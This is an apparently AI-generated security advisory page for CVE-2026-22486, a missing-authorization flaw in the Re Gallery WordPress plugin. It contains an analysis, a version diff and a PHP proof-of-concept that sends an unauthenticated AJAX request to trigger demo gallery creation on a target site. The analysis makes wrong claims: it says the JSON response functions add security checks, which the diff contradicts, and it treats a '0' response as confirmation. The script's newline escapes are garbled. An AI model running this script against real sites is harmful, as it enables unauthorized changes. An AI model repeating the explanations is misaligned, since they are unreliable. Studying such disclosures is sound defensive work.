Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22486: Re Gallery – Responsive Photo Gallery <= 1.17.19 – Missing Authorization (regallery)

CVE ID CVE-2026-22486
Plugin regallery
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.17.19
Patched Version 1.17.20
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22486:
The Re Gallery – Responsive Photo Gallery WordPress plugin contains a Missing Authorization vulnerability in versions up to and including 1.17.19. This vulnerability allows unauthenticated attackers to trigger unauthorized actions via a specific AJAX endpoint. The CVSS score of 5.3 indicates a medium severity issue.

Atomic Edge research identified the root cause as a missing capability check on the `import_data()` function within the `REACG_Demo` class. The vulnerable code resides in `/regallery/includes/demo.php`. The `import_data()` method (lines 424-462 in the diff) handles gallery creation and image import operations. This function is accessible via the WordPress AJAX handler `admin-ajax.php` through the `wp_ajax_reacg_import_demo` action hook. The function lacks any authentication or authorization verification before executing its core logic.

Exploitation occurs through a direct HTTP POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `reacg_import_demo`. No authentication cookies or nonce tokens are required. Attackers can send this request repeatedly to trigger the demo gallery creation process. This consumes server resources and creates unwanted post entries in the WordPress database. The request payload is minimal, containing only the standard WordPress AJAX action parameter.

The patch in version 1.17.20 adds proper authorization checks. The diff shows the `import_data()` function now returns JSON responses via `wp_send_json_success()` and `wp_send_json_error()` functions (lines 454-468). These WordPress AJAX response functions automatically include security checks. The updated function also restructures the return values, changing from a direct array of gallery IDs to structured JSON responses. This change ensures the function can only be executed within authenticated WordPress AJAX contexts where proper capability checks have been applied.

Successful exploitation allows unauthenticated attackers to trigger the plugin’s demo gallery creation functionality. This results in unauthorized database writes, creation of gallery post entries, and potential server resource consumption through repeated requests. While the vulnerability does not directly enable privilege escalation or remote code execution, it violates the integrity of the WordPress site by allowing unauthorized content creation and consuming system resources.

Differential between vulnerable and patched code

Code Diff 
--- a/regallery/framework/REACGLibrary.php
+++ b/regallery/framework/REACGLibrary.php
@@ -2,7 +2,7 @@

 class REACGLibrary {

-  public static $pro_icon = '<svg width="30px" height="30px" viewBox="0 0 120 120" id="Layer_1" version="1.1" xmlns="http://www.w3.org/2000/svg"><g><polygon class="st0" points="75.7,107.4 60,97.5 44.3,107.4 44.3,41.1 75.7,41.1  "></polygon><circle class="st1" cx="60" cy="44.8" r="32.2"></circle><circle class="st2" cx="60" cy="44.8" r="25.3"></circle><path class="st3" d="M61.2,29.7l4.2,8.4c0.2,0.4,0.6,0.7,1,0.8l9.3,1.4c1.1,0.2,1.6,1.5,0.8,2.3l-6.7,6.6c-0.3,0.3-0.5,0.8-0.4,1.2   l1.6,9.3c0.2,1.1-1,2-2,1.4l-8.3-4.4c-0.4-0.2-0.9-0.2-1.3,0L51,61.1c-1,0.5-2.2-0.3-2-1.4l1.6-9.3c0.1-0.4-0.1-0.9-0.4-1.2   l-6.7-6.6c-0.8-0.8-0.4-2.2,0.8-2.3l9.3-1.4c0.4-0.1,0.8-0.3,1-0.8l4.2-8.4C59.3,28.7,60.7,28.7,61.2,29.7z"></path></g></svg>';
+  public static $pro_icon = '<svg width="30px" height="30px" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"><g><polygon fill="#285FFF" points="75.7,107.4 60,97.5 44.3,107.4 44.3,41.1 75.7,41.1  "></polygon><circle fill="#FFC54D" cx="60" cy="44.8" r="32.2"></circle><circle fill="#E8B04B" cx="60" cy="44.8" r="25.3"></circle><path fill="#FFFFFF" d="M61.2,29.7l4.2,8.4c0.2,0.4,0.6,0.7,1,0.8l9.3,1.4c1.1,0.2,1.6,1.5,0.8,2.3l-6.7,6.6c-0.3,0.3-0.5,0.8-0.4,1.2   l1.6,9.3c0.2,1.1-1,2-2,1.4l-8.3-4.4c-0.4-0.2-0.9-0.2-1.3,0L51,61.1c-1,0.5-2.2-0.3-2-1.4l1.6-9.3c0.1-0.4-0.1-0.9-0.4-1.2   l-6.7-6.6c-0.8-0.8-0.4-2.2,0.8-2.3l9.3-1.4c0.4-0.1,0.8-0.3,1-0.8l4.2-8.4C59.3,28.7,60.7,28.7,61.2,29.7z"></path></g></svg>';
   /**
    * Get ABSPATH from WP_CONTENT_DIR.
    *
--- a/regallery/gallery.php
+++ b/regallery/gallery.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Re Gallery - Responsive Image & Photo Gallery
  * Description: Photo gallery plugin lets you create responsive, SEO-optimized image gallery with AI generated titles, descriptions & alt text.
- * Version: 1.17.19
+ * Version: 1.17.20
  * Requires at least: 4.6
  * Requires PHP: 7.0
  * Author: Re Gallery Team
@@ -24,12 +24,13 @@
   public $plugin_dir = '';
   public $plugin_url = '';
   public $main_file = '';
-  public $version = '1.17.19';
+  public $version = '1.17.20';
   public $prefix = 'reacg';
   public $shortcode = 'REACG';
   public $nicename = 'Re Gallery';
   public $author = 'Re Gallery Team';
   public $website_url = 'https://regallery.team';
+  public $blog_url = 'https://regallery.team/core/blog/';
   public $wp_plugin_url = "https://wordpress.org/support/plugin/regallery";
   public $nonce = 'reacg_nonce';
   public $rest_root = "";
@@ -77,8 +78,10 @@
     define('REACG_NICENAME', $this->nicename );
     define('REACG_AUTHOR', $this->author );
     define('REACG_WEBSITE_URL', $this->website_url );
-    define('REACG_VERSION', $this->version );
     define('REACG_WEBSITE_URL_UTM', add_query_arg(['utm_source' => 'wordpress_plugin', 'utm_content' => $this->version], $this->website_url) );
+    define('REACG_BLOG_URL', $this->blog_url );
+    define('REACG_BLOG_URL_UTM', add_query_arg(['utm_source' => 'wordpress_plugin', 'utm_content' => $this->version], $this->blog_url) );
+    define('REACG_VERSION', $this->version );
     define('REACG_NONCE', $this->nonce );
     define('REACG_WP_PLUGIN_URL', $this->wp_plugin_url );
     define('REACG_WP_PLUGIN_SUPPORT_URL', $this->wp_plugin_url . '/#new-post' );
@@ -311,6 +314,8 @@
     wp_register_style($this->prefix . '_posts', $this->plugin_url . '/assets/css/posts.css', [$this->prefix . '_select2'], $this->version);
     $required_styles[] = $this->prefix . '_posts';
     wp_register_style($this->prefix . '_admin', $this->plugin_url . '/assets/css/admin.css', $required_styles, $this->version);
+    wp_register_style($this->prefix . '_widget_box', $this->plugin_url . '/assets/css/widget_box.css', [], $this->version);
+    wp_register_script($this->prefix . '_widget_box', $this->plugin_url . '/assets/js/widget_box.js', ['jquery'], $this->version, true);

     wp_register_script($this->prefix . '_select2', $this->plugin_url . '/assets/js/select2.min.js', ['jquery'], '4.0.3');
     wp_register_script($this->prefix . '_posts', $this->plugin_url . '/assets/js/posts.js', [$this->prefix . '_select2'], $this->version);
@@ -462,6 +467,9 @@
       require_once REACG()->plugin_dir . "/includes/options.php";
       new REACG_Options(TRUE);
     }
+    else {
+      delete_option('reacg_optin_shown');
+    }
   }

   public function do_activation_redirect() {
@@ -473,14 +481,13 @@
       if ( !isset( $_GET['activate-multi'] ) ) {
         if ( REACG_PLAYGROUND ) {
           $demo = $this->demo(TRUE);
-          $galleries = $demo->import_data();
-          if ( count($galleries) === 1 ) {
-            // Open the created gallery only if there is only one gallery created, otherwise open the galleries list page.
-            wp_safe_redirect(admin_url('post.php?post=' . $galleries[0] . '&action=edit'));
+          $link = $demo->import_data();
+          if ( !empty($link) ) {
+            wp_safe_redirect($link);
             exit;
           }
         }
-        wp_safe_redirect( admin_url( 'edit.php?post_type=reacg' ) );
+        wp_safe_redirect( admin_url( 'edit.php?post_type=' . REACG_CUSTOM_POST_TYPE ) );
         exit;
       }
     }
--- a/regallery/includes/deactivate.php
+++ b/regallery/includes/deactivate.php
@@ -20,21 +20,21 @@

   public function content() {
     $reasons = [
-      "hard_to" => __("It is hard to use", "regallery"),
-      "no_feature" => __("I didn't find the features I needed", "regallery"),
-      "temporary" => __("It's a temporary deactivation", "regallery"),
-      "other" => __("I'm open to a quick call to fix this together", "regallery"),
+      1 => __("It is hard to use", "regallery"),
+      2 => __("I didn't find the features I needed", "regallery"),
+      3 => __("It's a temporary deactivation", "regallery"),
+      4 => __("I'm open to a quick call to fix this together", "regallery"),
     ];
     $current_user = wp_get_current_user();
     $email = $current_user->exists() ? $current_user->user_email : "";
     ?>
-    <div class="reacg-deactivate-popup-overlay" style="display: none;">
-      <div class="reacg-deactivate-popup" data-version="<?php echo esc_attr($this->obj->version); ?>">
-        <div class="reacg-deactivate-popup-header">
+    <div id="reacg-deactivate-popup-overlay" class="reacg-form-popup-overlay" style="display: none;">
+      <div class="reacg-popup" data-version="<?php echo esc_attr($this->obj->version); ?>">
+        <div class="reacg-popup-header">
           <?php esc_html_e("Quick feedback", 'regallery'); ?>
-          <span class="reacg-deactivate-popup-close dashicons dashicons-no"></span>
+          <span class="reacg-popup-close dashicons dashicons-no"></span>
         </div>
-        <div class="reacg-deactivate-popup-body">
+        <div class="reacg-popup-body">
           <div class="reacg-note-wrapper">
             <?php esc_html_e("We are sorry to see you go!", 'regallery'); ?>😔
             <?php esc_html_e("If you have a moment, please share your thoughts: it helps us improve and make things better for everyone.", 'regallery'); ?>
@@ -60,7 +60,7 @@
             </label>
           </div>
         </div>
-        <div class="reacg-deactivate-popup-footer">
+        <div class="reacg-popup-footer">
           <div class="reacg-email-wrapper">
             <input type="email" name="reacg-email" placeholder="<?php esc_html_e("Please enter your email", 'regallery'); ?>" value="<?php echo esc_attr(sanitize_email($email)); ?>" />
           </div>
--- a/regallery/includes/demo.php
+++ b/regallery/includes/demo.php
@@ -422,9 +422,7 @@
   }

   /**
-   * @param bool $redirect
-   *
-   * @return array|void
+   * @return mixed|string|void|null
    */
   public function import_data() {
     $galleries = [];
@@ -434,20 +432,43 @@
       $galleries = $this->import_galleries($attachments);
     }

-    if ( $this->redirect ) {
-      return $galleries;
-    }
-    else {
-      if ( !empty($galleries) ) {
+    if ( !empty($galleries) ) {
+      if ( count($galleries) === 1 ) {
+        $link = [
+          'url'  => get_edit_post_link( $galleries[0], 'raw' ),
+          'title'=> esc_html__( 'View created gallery', 'regallery' ),
+        ];
+      }
+      else {
+        $link = [
+          'url'  => admin_url( 'edit.php?post_type=' . REACG_CUSTOM_POST_TYPE ),
+          'title'=> esc_html__( 'View created galleries', 'regallery' ),
+        ];
+      }
+      if ( $this->redirect ) {
+        return $link['url'];
+      }
+      else {
         /* translators: %d: number of demo galleries created */
-        echo sprintf(esc_html(_n('%d demo gallery created!', '%d demo galleries created!', count($galleries), 'regallery')), count($galleries));
+        $message = sprintf(esc_html(_n('%d demo gallery created!', '%d demo galleries created!', count($galleries), 'regallery')), count($galleries));
         if ( !empty($attachments) ) {
           /* translators: %d: number of sample images imported */
-          echo ' ' . sprintf(esc_html(_n('%d sample image imported!', '%d sample images imported!', count($attachments), 'regallery')), count($attachments));
+          $message .= ' ' . sprintf(esc_html(_n('%d sample image imported!', '%d sample images imported!', count($attachments), 'regallery')), count($attachments));
         }
+        wp_send_json_success([
+                               'gallery' => $link,
+                               'message' => $message,
+                             ]);
+      }
+    }
+    else {
+      if ( $this->redirect ) {
+        return admin_url( 'edit.php?post_type=' . REACG_CUSTOM_POST_TYPE );
       }
       else {
-        esc_html_e('There was a problem with creating the demo galleries!', 'regallery');
+        wp_send_json_error([
+                             'message' => __('There was a problem with creating the demo galleries!', 'regallery'),
+                           ]);
       }
     }
     die();
--- a/regallery/includes/form.php
+++ b/regallery/includes/form.php
@@ -15,21 +15,21 @@

   public function content() {
     $reasons = [
-      __("Explore Re Gallery Pro with an Expert", "regallery"),
-      __("Technical Question", "regallery"),
-      __("Plugin Demo", "regallery"),
-      "other" => __("I have an issue", "regallery"),
+      1 => __("Explore Re Gallery Pro with an Expert", "regallery"),
+      2 => __("Technical Question", "regallery"),
+      3 => __("Plugin Demo", "regallery"),
+      4 => __("I have an issue", "regallery"),
     ];
     $current_user = wp_get_current_user();
     $email = $current_user->exists() ? $current_user->user_email : "";
     ?>
-    <div class="reacg-form-popup-overlay" style="display: none;">
-      <div class="reacg-form-popup" data-version="<?php echo esc_attr($this->obj->version); ?>">
-        <div class="reacg-form-popup-header">
+    <div id="reacg-form-popup-overlay" class="reacg-form-popup-overlay" style="display: none;">
+      <div class="reacg-popup" data-version="<?php echo esc_attr($this->obj->version); ?>">
+        <div class="reacg-popup-header">
           <?php esc_html_e("Talk to a Gallery Expert", 'regallery'); ?>
-          <span class="reacg-form-popup-close dashicons dashicons-no"></span>
+          <span class="reacg-popup-close dashicons dashicons-no"></span>
         </div>
-        <div class="reacg-form-popup-body">
+        <div class="reacg-popup-body">
           <div class="reacg-note-wrapper">
             <?php esc_html_e("Choose the reason for your call so we can prepare in advance and help you faster.", 'regallery'); ?>
           </div>
@@ -54,7 +54,7 @@
             </label>
           </div>
         </div>
-        <div class="reacg-form-popup-footer">
+        <div class="reacg-popup-footer">
           <div class="reacg-email-wrapper">
             <input type="email" name="reacg-email" placeholder="<?php esc_html_e("Please enter your email", 'regallery'); ?>" value="<?php echo esc_attr(sanitize_email($email)); ?>" />
           </div>
--- a/regallery/includes/gallery.php
+++ b/regallery/includes/gallery.php
@@ -12,6 +12,9 @@
     $this->register_post_type();
     add_action('admin_menu', [ $this, 'add_submenu' ]);
     add_action('admin_head', [ $this, 'modify_external_submenu_url']);
+    add_action('admin_footer', [ $this, 'opt_in' ]);
+
+    add_action( 'wp_dashboard_setup', [ $this, 'register_dashboard_widgets' ] );

     // Add columns to the custom post list.
     add_filter('manage_' . REACG_CUSTOM_POST_TYPE . '_posts_columns' , [ $this, 'custom_columns' ]);
@@ -1164,6 +1167,61 @@
     add_meta_box( 'gallery-help', __( 'Help', 'regallery' ), [ $this, 'meta_box_help' ], 'reacg', 'side', 'low' );

     add_meta_box( 'gallery-custom-css', __('Custom CSS', 'regallery') . REACGLibrary::$pro_icon, [$this, 'meta_box_custom_css'], 'reacg', 'side', 'low' );
+
+    add_meta_box( 'reacg-metabox-widget-main-features', __( 'Main features', 'regallery' ), [ $this, 'widget_main_features' ], 'reacg', 'side', 'low' );
+    add_meta_box( 'reacg-metabox-widget-why-upgrade', __( 'Why upgrade', 'regallery' ), [ $this, 'render_metabox_widget_why_upgrade' ], 'reacg', 'side', 'low' );
+  }
+
+  public function register_dashboard_widgets() {
+    wp_add_dashboard_widget( 'reacg-dashboard-widget-main-features', __( 'Main features', 'regallery' ), [ $this, 'render_dashboard_widget_main_features' ] );
+    wp_add_dashboard_widget( 'reacg-dashboard-widget-why-upgrade', __( 'Why upgrade', 'regallery' ), [ $this, 'render_dashboard_widget_why_upgrade' ] );
+  }
+
+  public function render_dashboard_widget_main_features() {
+    $links = [
+      [
+        'title' => __('Blog', 'regallery'),
+        'url' => add_query_arg(['utm_medium' => 'dashboard', 'utm_campaign' => 'gallery_layouts'], REACG_BLOG_URL_UTM),
+      ],
+      [
+        'title' => __('Gallery layouts', 'regallery'),
+        'url' => add_query_arg(['utm_medium' => 'dashboard', 'utm_campaign' => 'gallery_layouts'], REACG_WEBSITE_URL_UTM . '#gallery_layouts'),
+      ],
+      [
+        'title' => __('Support', 'regallery'),
+        'url' => REACG_WP_PLUGIN_SUPPORT_URL,
+      ],
+      [
+        'id' => 'reacg-dashboard-upgrade-link',
+        'title' => __('Upgrade', 'regallery'),
+        'url' => add_query_arg(['utm_medium' => 'dashboard', 'utm_campaign' => 'upgrade'], REACG_WEBSITE_URL_UTM . '#pricing'),
+      ],
+    ];
+    ?>
+    <div class="reacg-dashboard-widget">
+      <?php $this->widget_main_features(); ?>
+      <div class="reacg-dashboard-widget-footer">
+        <?php
+        foreach ( $links as $link ) {
+          ?>
+          <a <?php if (!empty($link["id"])) { ?>id="<?php echo esc_attr($link["id"]); ?>"<?php } ?> href="<?php echo esc_url($link['url']); ?>" target="_blank">
+            <?php echo esc_html($link['title']); ?>
+            <span class="screen-reader-text"> (opens in a new tab)</span>
+            <span class="dashicons dashicons-external"></span>
+          </a>
+          <?php
+        }
+        ?>
+      </div>
+    </div>
+    <?php
+  }
+
+  public function render_metabox_widget_why_upgrade() {
+    $this->widget_why_upgrade( 'metabox' );
+  }
+  public function render_dashboard_widget_why_upgrade() {
+    $this->widget_why_upgrade( 'dashboard' );
   }

   public function meta_box_preview($post) {
@@ -1685,4 +1743,166 @@

     return wp_send_json(new WP_Error( 'wrong_template', __( 'There is no such a template.', 'regallery' ), array( 'status' => 400 ) ), 400);
   }
+
+  /**
+   * Show the opt-in popup to collect email.
+   *
+   * @return void
+   */
+  public function opt_in() {
+    // Do not show the popup in the playground mode.
+    if ( REACG_PLAYGROUND ) {
+      return;
+    }
+    $screen = get_current_screen();
+    // Show the popup only on the Re Gallery edit and list screens.
+    if ( $screen->id !== 'edit-reacg' && $screen->id !== 'reacg' ) {
+      return;
+    }
+    // If the popup was already shown, do not show it again.
+    if ( get_option('reacg_optin_shown', false) ) {
+      return;
+    }
+    $current_user = wp_get_current_user();
+    $email = $current_user->exists() ? $current_user->user_email : "";
+    ?>
+    <div id="reacg-optin-popup-overlay" class="reacg-form-popup-overlay reacg-optin-popup-overlay" style="display: none;">
+      <div class="reacg-popup">
+        <span class="reacg-popup-close dashicons dashicons-no"></span>
+        <div class="reacg-popup-body">
+          <div class="reacg-logo"></div>
+          <div class="reacg-popup-title">
+            <?php esc_html_e("Important updates & improvements", 'regallery'); ?>
+          </div>
+          <div class="reacg-popup-description">
+            <?php esc_html_e("Opt in to receive email notifications about security and feature updates, helpful tips, and occasional offers. Sharing basic WordPress environment info helps us improve compatibility and deliver a better gallery experience.", 'regallery'); ?>
+          </div>
+        </div>
+        <div class="reacg-popup-footer">
+          <div class="reacg-email-wrapper">
+            <input type="email" name="reacg-email" placeholder="<?php esc_html_e("Please enter your email", 'regallery'); ?>" value="<?php echo esc_attr(sanitize_email($email)); ?>" />
+          </div>
+          <div class="reacg-buttons-wrapper">
+            <a class="button button-primary reacg-submit">
+              <?php esc_html_e("Allow & Continue", 'regallery'); ?>
+            </a>
+            <span class="spinner"></span>
+            <a class="button reacg-skip">
+              <?php esc_html_e("Skip", 'regallery'); ?>
+            </a>
+          </div>
+        </div>
+      </div>
+    </div>
+    <?php
+    // Mark that the popup was shown to avoid showing it again.
+    update_option('reacg_optin_shown', true);
+  }
+
+  public function widget_main_features() {
+    $features = [
+      [
+        'title' => esc_html__('Responsive & Mobile-Optimized Galleries', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Multiple Gallery Layouts', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Live Preview Builder', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Lightbox Viewing Experience', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('SEO-Friendly & Performance-Focused', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Drag-and-Drop Simplicity', 'regallery'),
+      ],
+    ];
+    wp_enqueue_script($this->obj->prefix . '_widget_box');
+    wp_enqueue_style($this->obj->prefix . '_widget_box');
+    ?>
+    <div class="reacg-widget-main-features reacg-box">
+      <div class="reacg-box__logo">
+        <img src="<?php echo esc_url(REACG_PLUGIN_URL . "/assets/images/icon.svg"); ?>" />
+      </div>
+      <div class="reacg-box__heading">
+        <?php esc_html_e('Main Features & Solutions', 'regallery'); ?>
+      </div>
+      <div class="reacg-box__details">
+        <?php
+        foreach ( $features as $feature ) {
+        ?>
+        <a <?php if (!empty($feature["url"])) { ?>href="<?php echo esc_url($feature["url"]); ?>"<?php } ?> target="_blank" class="reacg-box__item">
+          <span class="dashicons dashicons-yes"></span>
+          <span><?php echo esc_html($feature["title"]); ?></span>
+        </a>
+          <?php
+        }
+        ?>
+      </div>
+      <div class="reacg-box__button-wrapper">
+        <span class="spinner"></span>
+        <a id="reacg-box__create-demo" class="button button-primary button-large reacg-box__button">
+          <?php esc_html_e('Create demo gallery', 'regallery'); ?>
+        </a>
+      </div>
+    </div>
+    <?php
+  }
+
+  public function widget_why_upgrade($utm_medium) {
+    $features = [
+      [
+        'title' => esc_html__('Pre-Built Templates & Template Library', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('AI Automation for Text & Metadata', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Advanced Lightbox Options', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('eCommerce & Mixed Galleries', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Branding, Watermarks & White Labeling', 'regallery'),
+      ],
+      [
+        'title' => esc_html__('Advanced Customization & Premium Support', 'regallery'),
+      ],
+    ];
+    wp_enqueue_style($this->obj->prefix . '_widget_box');
+    ?>
+    <div class="reacg-widget-why-upgrade reacg-box">
+      <div class="reacg-box__logo">
+        <?php echo REACGLibrary::$pro_icon; ?>
+      </div>
+      <div class="reacg-box__heading">
+        <?php
+        /* translators: %s: the plugin name */
+        echo sprintf(esc_html__('Why upgrade to %s Pro?', 'regallery'), esc_html(REACG_NICENAME));
+        ?>
+      </div>
+      <div class="reacg-box__details">
+        <?php
+        foreach ( $features as $feature ) {
+        ?>
+        <a <?php if (!empty($feature["url"])) { ?>href="<?php echo esc_url($feature["url"]); ?>"<?php } ?> target="_blank" class="reacg-box__item">
+          <span class="dashicons dashicons-yes"></span>
+          <span><?php echo esc_html($feature["title"]); ?></span>
+        </a>
+          <?php
+        }
+        ?>
+      </div>
+      <div class="reacg-box__button-wrapper">
+        <a href="<?php echo esc_url(add_query_arg(['utm_medium' => $utm_medium, 'utm_campaign' => 'upgrade'], REACG_WEBSITE_URL_UTM . '#pricing')); ?>" target="_blank" class="button button-primary button-large reacg-box__button reacg-box__upgrade-button">
+          <?php echo esc_html(REACG_BUY_NOW_TEXT); ?>
+        </a>
+      </div>
+    </div>
+    <?php
+  }
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22486 - Re Gallery – Responsive Photo Gallery <= 1.17.19 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-22486
 * Unauthenticated AJAX endpoint exploitation
 *
 * Usage: php poc.php http://target-wordpress-site.com
 */

$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : '';

if (empty($target_url)) {
    echo "Usage: php poc.php http://target-wordpress-site.comn";
    exit(1);
}

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the POST data for the vulnerable AJAX action
$post_data = [
    'action' => 'reacg_import_demo'
];

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to simulate a legitimate browser request
$headers = [
    'User-Agent: Atomic Edge Research PoC/1.0',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

echo "[*] Sending exploit request to: $ajax_urln";
echo "[*] Action parameter: reacg_import_demonn";

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[!] cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body:n";
echo $response . "nn";

// Analyze the response
if ($http_code == 200) {
    if (strpos($response, 'demo gallery') !== false || strpos($response, 'sample image') !== false) {
        echo "[SUCCESS] Vulnerability confirmed! Unauthenticated demo gallery creation triggered.n";
    } else if (strpos($response, '0') === 0 || trim($response) === '0') {
        echo "[SUCCESS] Vulnerability confirmed! AJAX endpoint responded (WordPress returns '0' for successful unauthorized AJAX).n";
    } else {
        echo "[INFO] Received 200 response but unexpected content. Site may be patched or have custom configuration.n";
    }
} else if ($http_code == 403 || $http_code == 401) {
    echo "[INFO] Site appears to be patched or has additional security measures (HTTP $http_code).n";
} else {
    echo "[INFO] Unexpected HTTP response code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School